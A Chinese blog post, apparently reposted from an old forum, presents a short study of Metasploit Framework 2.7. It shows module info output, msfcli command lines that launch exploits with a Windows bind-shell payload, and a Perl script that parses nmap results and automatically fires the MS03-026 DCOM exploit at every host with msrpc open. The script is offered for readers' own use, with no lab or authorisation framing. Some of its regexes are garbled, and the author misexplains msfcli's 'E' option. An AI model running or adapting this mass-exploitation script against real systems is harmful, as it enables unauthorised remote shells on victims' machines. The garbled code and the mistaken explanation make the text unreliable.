metasploit Framework 2.7 简要研究报告

metasploit framework详解 metasploit详细介绍,主要介绍了msfconsole和msfvenom工具的使用,同时进行了payload实验,拿取对方shell。 阅读详情
metasploit Framework 2.7  
好久没在这里发帖子了,今天把我最近刚研究的成果发布下,大家不要见笑啊!~
这里要说的是工具是一款非常棒的溢出漏洞利用工具——metasploit
以下是我在鹰盟IDF实验室的一篇简要研究报告,好不好大家用用就知道了!~

metasploit Framework 2.7
    metasploit Framework 2.7是一款溢出漏洞利用工具,虽然最新版本是3.0,但经过测试使用,发现3.0实际应用价值不高,且相比较2.7使用难度较高,始终不是很理想。
    在metasploit Framework 2.7集中了大量的操作系统、网络软件及各种应用软件的漏洞。但经过一段时间的使用与试验,发现好像过时的东西比较多一些,有些甚至连操作系统说明都出现了错误(info exploits)。当然,它毕竟是少数嘛,不能否认,metasploit Framework 2.7还是一款很不错的工具,设计思想明确、设计使用方法简单易学。
    在metasploit Framework 2.7中,本来应该有3大结构:Exploits、Payloads、Sessions,但metasploit Framework 2.7用户大多数仅承认两大结构:Exploits和Payloads。是的,它们是都很重要,它们的交互运行,就像缺一不可的两兄弟一样,功能最强大,但因此忽视Sessions那就太不应该了。
    metasploit Framework 2.7本身就是一个开放源码的工具,对于高手来说,可以调出源码进行研究或再编译,就好比payload win32_bind,当我们运行metasploit Framework 2.7,并察看payload win32_bind,仅能看到一些常规说明:

msf > info win32_bind

       Name: Windows Bind Shell
    Version: $Revision: 2067 $
     OS/CPU: win32/x86
Needs Admin: No
Multistage: No
Total Size: 317
       Keys: bind

Provided By:
    vlad902 <vlad902 [at] gmail.com>

Available Options:
    Options:    Name        Default    Description
    --------    --------    -------    ------------------------------------------
    required    EXITFUNC    seh        Exit technique: "process", "thread", "seh"
    required    LPORT       4444       Listening port for bind shell

Advanced Options:
    Advanced (Msf::Payload::win32_bind):
    ------------------------------------

Description:
    Listen for connection and spawn a shell

    它很直观地告诉我们payload win32_bind的所有常规信息,使我们准确的把握到是否有关使用它以及何时、如何使用它,但无法说明它的运行原理,这就需要我们对它进行反编译了。经过我们再编译后,其关键利用代码就是:

my $msfarg = `./msfcli maxdb_webdbm_get_overflow RHOST=$ip TARGET=0 PAYLOAD=win32_bind E`;
If you see in the comment 'target 0-2' for example write the code this way:
for(0..2) {
my $msfarg = `./msfcli trackercam_phparg_overflow RHOST=$ip TARGET=$_ PAYLOAD=win32_bind E`;
}
If there is just one argument for example 'target 0' or 'payload win32_bind' just do as it says
my $msfarg = `./msfcli arkeia_agent_access RHOST=$ip TARGET=0 E`;

    不难看出,有两个常量“RHOST”和“E”,“RHOST”总是值“$ip”,“E”是一个冲突常量msfcli,冲突的结果会导致一个shell,这个shell是具有很高权限的。
又比如apache_chunked_win32:

msf > info apache_chunked_win32

Name: Apache Win32 Chunked Encoding
Class: remote
Version: $Revision: 1.44 $
Target OS: win32, win2000, winnt, win2003, winxp
Keywords: apache
Privileged: Yes
Disclosure: Jun 19 2002

Provided By:
H D Moore <hdm [at] metasploit.com>

Available Targets:
Windows Generic Bruteforce
Apache.org Build 1.3.9->1.3.19
Apache.org Build 1.3.22/1.3.24
Apache.org Build 1.3.19/1.3.24
Apache.org Build 1.3.22
Apache.org Build 1.3.17->1.3.24 (Windows 2000)
Apache.org Build 1.3.17->1.3.24 (Windows NT 4.0)

    它的可怕之处在于,可以在开启了对应服务版本的前提下,查询所有数据。因为本地计算机可以自己识别并连接远程计算机系统,所以它的运行速度更快、更可靠,就像我们发送、接收E-mail和断点续传下载文件一样。唯一需要我们另行方法解决的是,对方防火墙安全日志还是会毫不留情的纪录下我们的一举一动。

    最后,再赠送大家一段源代码,应用系统是Windows 2000,大家可以自己进行属于自己的个性化再编译:

use strict;
my ($IP,$temp);
my (@portbans,@hosts);
#system("nmap @ARGV -sV -oX log.txt");
open(FH, "log.txt") or die "Something unpredictable happened: $!";
while(<FH>) {
if(m/addr=/"(/d{1,3}/./d{1,3}/./d{1,3}/./d{1,3})/"/) {
if($IP) {
foreach (@portbans) {
$temp = "$IP#$_"; # . == alt+0134
push(@hosts, $temp);
$temp = undef;
}
}
$IP = $1;
@portbans=();
}
else {
if (m/(/d{1,5}).*open/) {
$temp = $1;
if(m/name=/"(.*)/"/smethod=/) {
split(/product=|"|version=|extrainfo=|devicetype=|ostype=/, $1);
@_ = split(//s{2,11}/, "@_");
$temp = "$temp#@_";
push(@portbans, $temp);
$temp = undef;
}
}
}
}
close FH;
if($IP) {
foreach (@portbans) {
$temp = "$IP#$_";
push(@hosts, $temp);
$temp = undef;
}
}
foreach my $host (@hosts) {
my ($ip,$port,$banner) = split(/#/, $host);
if($banner =~ /Microsoft Windows msrpc/) {
print "[+] Trying to exploit $ip on $port using msrpc_dcom_ms03_026/n";
open(my $fh,'-|',"./msfcli msrpc_dcom_ms03_026 RHOST=$ip RPORT=$port PAYLOAD=win32_bind E") or die $!;
while(<$fh>) {
# print $_;
if($_ =~ /Copyright 1985-2001 Microsoft Corp/) {
print "Exploiting is successful/n";
last;
close $fh;
}
}
}
}

——Sdear
 
CentOS 7部署Metasploit Framework:从依赖解析到实战验证 渗透测试是网络安全领域的核心实践,其本质在于模拟攻击者行为以发现系统漏洞。Metasploit Framework作为自动化渗透测试的标杆工具,通过模块化设计集成了漏洞利用、载荷生成与后渗透功能。其技术价值在于将复杂的攻击流程标准化、可重复化,大幅提升了安全评估的效率。在Linux生产环境中,CentOS因其稳定性被广泛使用,但默认软件源版本较旧,部署MSF需解决Ruby高版本、PostgreSQL数据库等依赖问题。理解MSF在CentOS 7上的部署过程,不仅能掌握渗透测试工具链的底层原理,更能深化对Li 阅读详情

相关推荐

Kali Linux在线安装Metasploit Framework(MSFConsole)完整指南

渗透测试是网络安全领域的核心实践,旨在通过模拟攻击来评估系统安全性。其原理在于主动发现并验证漏洞,从而帮助组织提前修复风险。在众多渗透测试工具中,Metasploit Framework凭借其模块化设计和强大的漏洞利用能力,成为安全从业者的必备武器。它集成了漏洞扫描、载荷生成和后渗透模块,极大地提升了测试效率。对于需要在Kali Linux环境中快速部署工具链的场景,在线安装MSFConsole成为高效选择。本文聚焦于**在线安装**和**MSFConsole**,详细解析从环境准备、APT源配置到数据库初

weixin_34405354的博客 411

IDF实验室-伟人的名字

伟人的名字 一、原题[原题链接] 从前有个很厉害的人物演讲了一堆很厉害的东西,可是我读书少,认识人不多,你知道这个人叫啥不。。答案格式wctf{名字} 友情提示1、外国人,只要名字就可以了,就别要姓了,首字母大写。 友情提示2、说过我读书少,外国人的名字和姓我是分不清的,反正答案就是大家最常叫的那个。。以下就是这个人讲话的节选: EB BMQF KYJRD, IM ICHZZZ YWELXABD, IC

_明灭的专栏 9298

渗透工具之Kali MSF(metasploit framework)使用

初识MSF(渗透测试开源软件平台,一个漏洞利用框架,对计算机软件漏洞进行攻击) Kali查找MSF框架:cd /usr/share/metasploit-framework,进入windows攻击模块:cd /usr/share/metasploit-framework/modules/exploits/windows 学习路线:MSF了解------>安装MSF2-Linux靶机------->MSF基本使用方法------>MSF实战:攻击win7主机并远程执行命令|扫描靶机my

赤赤三的博客 5332

IDF实验室-天罗地网-COOKIE欺骗-writeup

最近在学习ctf 从idf实验室上面遇到了一道题,通过同学和老师的帮助,最终解决了问题。google的时候没有看到这题的write up,那么就由我做第一个吧。 题目描述: COOKIE欺骗 这里这里→ http://ctf.idf.cn/game/web/40/index.php   打开所给的链接得到的网页里面有一个非常长的字符串,并不能猜测是什么样的编码方式

sn_RNA的专栏 6458

Windows系统安装Metasploit Framework:原生、WSL与Docker方案全解析

在渗透测试与安全研究领域,环境部署是基础且关键的环节,它直接关系到工具的稳定性和工作效率。其核心原理在于解决不同操作系统间的依赖兼容性问题,常见的技术路径包括直接编译安装、利用系统兼容层以及容器化部署。这些方法的价值在于能让安全从业者在熟悉的主机系统上高效运行专业工具,从而专注于漏洞分析与利用本身。典型的应用场景包括日常渗透测试、红队演练、安全研究以及教育培训。本文聚焦于在Windows平台上部署业界知名的Metasploit Framework(MSF),深入对比分析原生安装、WSL Kali子系统以及D

chongkuachan8070的博客 575

MSF(Metasploit Framework)框架详解

文章目录Metasploit 简介诞生与发展技术架构辅助模块渗透攻击模块攻击载荷模块空指令模块编码器模块后渗透攻击模块免杀模块为什么使用Metasploit?情报搜集阶段威胁建模阶段漏洞分析阶段后渗透攻击阶段报告生成阶段Metasploit 的使用启动MSF情报搜集网站敏感目录扫描主机发现端口扫描探测服务详细信息服务查点telnet服务查点ssh服务查点mssql服务查点口令猜解telnet服务口令猜解ssh服务口令猜解mssql服务破解网络服务渗透攻击ms17-010 “永恒之蓝”meterpreter基

Hi~ 土拨鼠 9520

Metasploit framework(一)——简单介绍其来源及历史

Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。 Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻...

Jeromeyoung 1451

MSF(Metasploit Framework)详细教程

Metasploit 是一个开源的渗透测试开源软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台,此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境,2009年10月,Metasploit项目被一家渗透测试技术领域的知名安全公司Rapid7所收购。Rapid7公司随后与2010年10月推出了Metasploit Express 和Pro商业版本。优点: 模块化,灵活框架,界面友好,简单易用,代码安全。

qq_41245301的博客 5709

CentOS 7 安装 metasploit-framework

CentOS 7 安装 metasploit-framework 文章目录CentOS 7 安装 metasploit-framework0 远程登录CentOS 71 一键安装metasploit-framework 0 远程登录CentOS 7 笔者使用SecureCRT登录申请好的VPS,其他的远程登录软件同样可以,此处使用SecureCRT是因为它的强大(-_-) 1 一键安装metasp...

lweiheng blog 1万+

深入理解Metasploit框架及其在渗透测试中的应用

本文深入探讨了Metasploit框架在计算机安全领域的重要作用,特别是在渗透测试中的应用。通过详细解读CompTIA Security+实验室手册中的相关实验,我们了解到Metasploit如何被用来发现和利用系统漏洞。本文还涉及了密码破解的基本原理和方法,以及攻击者如何通过不同的攻击手段获取系统的访问权限。

weixin_28913879的博客 529

TM1650数码管驱动芯片

简介 TM1650是一款国产4位共阴数码管驱动芯片,它还带有矩阵按键扫码功能。它的基本参数如下: 工作电压:3~5V 数码管驱动模式:8段x4位共阴数码管 矩阵按键驱动模式:7x4矩阵按键,不支持组合键 通信接口:类IIC,使用了IIC相同的时序,但没有完全遵守IIC的协议,不带从机地址 引脚定义 SCL:串行通信时钟线 SDA:串行通信数据线 做数码管驱动使用时 DIGx:数码管的位选引脚,灌电流驱动,最大可吸收150mA电流 A~DP:数码管的段驱动引脚,拉电流驱动,最大可输出25m

luliplus的博客 4万+

Metasploit Framework (MSF) 详解

Metasploit Framework (简称MSF)是一款开源的渗透测试框架,它提供了数百个已知软件漏洞的专业级漏洞攻击工具和漏洞利用模块,为渗透测试,shellcode 编写和漏洞研究提供了一个可靠平台。Kali里自带了MSF工具,使用命令 msfconsole 或者 双击MSF图标 即可以启动MSF。本篇就以Kali为实验环境来学习MSF。

cxm4545的博客 6113

从传统扫描到SSN:Tessent数据包技术如何减少90%测试时间

本文深入探讨了Tessent流式扫描网络(SSN)如何通过其核心的数据包技术,彻底改变芯片测试范式。该技术将测试数据封装成标准化数据包,在共享总线上进行智能路由与分发,实现了动态带宽分配与核心独立测试,从而将复杂SoC(如AI芯片)的总体测试时间大幅削减90%,并显著提升测试灵活性与可扩展性。

meat5的博客 493

Metasploit Framework

Metasploit Framework 是一个功能强大的开源渗透测试平台,由 Rapid7 公司维护和开发。它以模块化的架构实现了漏洞利用、后渗透操作、信息收集等功能。

Innocence_0的博客 1130

告别懵圈!用CANoe手把手解析ISO15765多帧传输(附实战报文分析)

本文详细解析了ISO15765多帧传输协议在汽车电子诊断中的应用,通过CANoe实战演示了从首帧发送到流控协商再到连续帧传输的完整流程。文章包含嵌入式系统诊断协议的深度分析,特别适合UDS和CAN总线开发人员学习多帧传输机制及常见问题解决方案。

weixin_30813225的博客 282

从Transformer到蛋白质结构预测:手把手解读ESM系列模型的核心原理与实战价值

本文深入解析了ESM系列模型如何将Transformer架构创新应用于蛋白质结构预测,揭示了其从氨基酸序列到三维结构的高效预测机制。通过掩码语言模型预训练和注意力机制,ESM模型不仅捕捉蛋白质序列的远程相互作用,还在蛋白质工程改造、药物发现等领域展现出巨大实战价值,显著提升了结构预测速度和精度。

weixin_28744423的博客 320

渗透测试 ( 3 ) --- Metasploit Framework (MSF)

Metasploit专业版和精简版的主要差别在于专业版上面集成了全自动攻击模块,通过远程API集成网络分割测试模块、标准基线审计向导模块、闭环漏洞验证优先处理功能、动态载荷规避防病毒解决方案、钓鱼意识管理和鱼叉式网络钓鱼模块、对OWASP Top 10漏洞的Web应用程序测试模块、高级命令行和Web界面的选择模块。但是,专业版是必须要付费的,所以除非用到非个人的功能,否则没有必要去使用专业版,而且,专业版和精简版的渗透攻击模块是一样的。.........

freeking101的博客 1万+

EtherCAT主站SOEM -- 0 -- 该EtherCAT主站SOEM专栏后续安排

SOEM(Simple Open EtherCAT Master)是一个开源的EtherCAT主站库,允许开发者构建自定义的EtherCAT主站应用程序。EtherCAT是一种实时以太网通信协议,广泛应用于工业自动化和机器控制领域。开源性质:SOEM是一个开源项目,这意味着开发者可以自由地查看、修改和分发代码。这使其成为工业自动化领域的一个强大工具,可以根据具体需求进行定制。EtherCAT主站实现:SOEM库提供了一个完整的EtherCAT主站实现,允许主站与多个EtherCAT从站设备进行通信。

常驻客栈的博客--嵌入式EtherCAT 6673

在任意手机上使用Metasploit Framework

在任何手机上使用Metasploit Framework。

xyzzklk的博客 1408

在Simulink中搭建一个基于IoT设备间通信协议栈的仿真模型

物联网(IoT)设备间的通信协议栈仿真对于理解不同层级的协议如何协同工作,以及优化网络性能至关重要。通过Simulink结合MATLAB的强大功能,我们可以模拟和分析从物理层到应用层的完整通信过程。下面详细介绍如何使用Simulink进行IoT设备间通信协议栈的仿真。

amy_mhd的博客 157

ISOLAR Autosar BSW 配置 之 Com

Autosar ISOLAR Bsw Configuration 之 Com

qq_42262743的博客 453

Metasploit Framework学习

MSF的数据库使用msf使用的是postgresql, 这个数据库默认端口是5432msf我们如果单个模块使用,其实用不用数据库都不影响,但是如果模块之间有数据需要沟通,那么就必须使用。msfconsole连接PostgreSQL数据库。

m0_70349048的博客 1186

影楼精修-AI追色算法解析

本文解析了像素蛋糕软件中AI追色功能的技术原理与实现方案,为理解AI追色技术提供了实用参考。

Trent1985的专栏 2万+

Metasploit Framework实战指南:从入门到精通

本文是Metasploit Framework(MSF)从入门到精通的实战指南。详细介绍了MSF作为渗透测试核心平台的功能、环境搭建、数据库配置、核心模块操作、Meterpreter高级后渗透技术,并通过完整实战演练串联从扫描到内网横向移动的全流程,最后分享了高阶技巧与避坑指南,帮助安全从业者系统掌握这一强大工具。

apple5的专栏 656

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

Metasploit Framework —— Basic

这里介绍的就是 MSF 的一些简单的基本使用,创始人 HD 摩尔曾说谁为 MS 写教程其实就是自作自受,纯属找虐,因为真的变化太快了,所以这里所写使一些基本功能,其余的需要自己去摸索… !!! 但虽然这样,还是有人写,目前被作者称赞过的最好的一本教材就是《Metasploitable 渗透测试指南》 !!! 由 offensive security 即 kali 官方所做,国内译本是清华博士诸葛建伟带队翻译而成的 !!! Metasploit Framework --> MSF --> 渗透测试

KAKA的博客 406

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

上一篇: Inject your code to a Portable Executable file
下一篇: Google高级技巧—google Hack★★★★
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值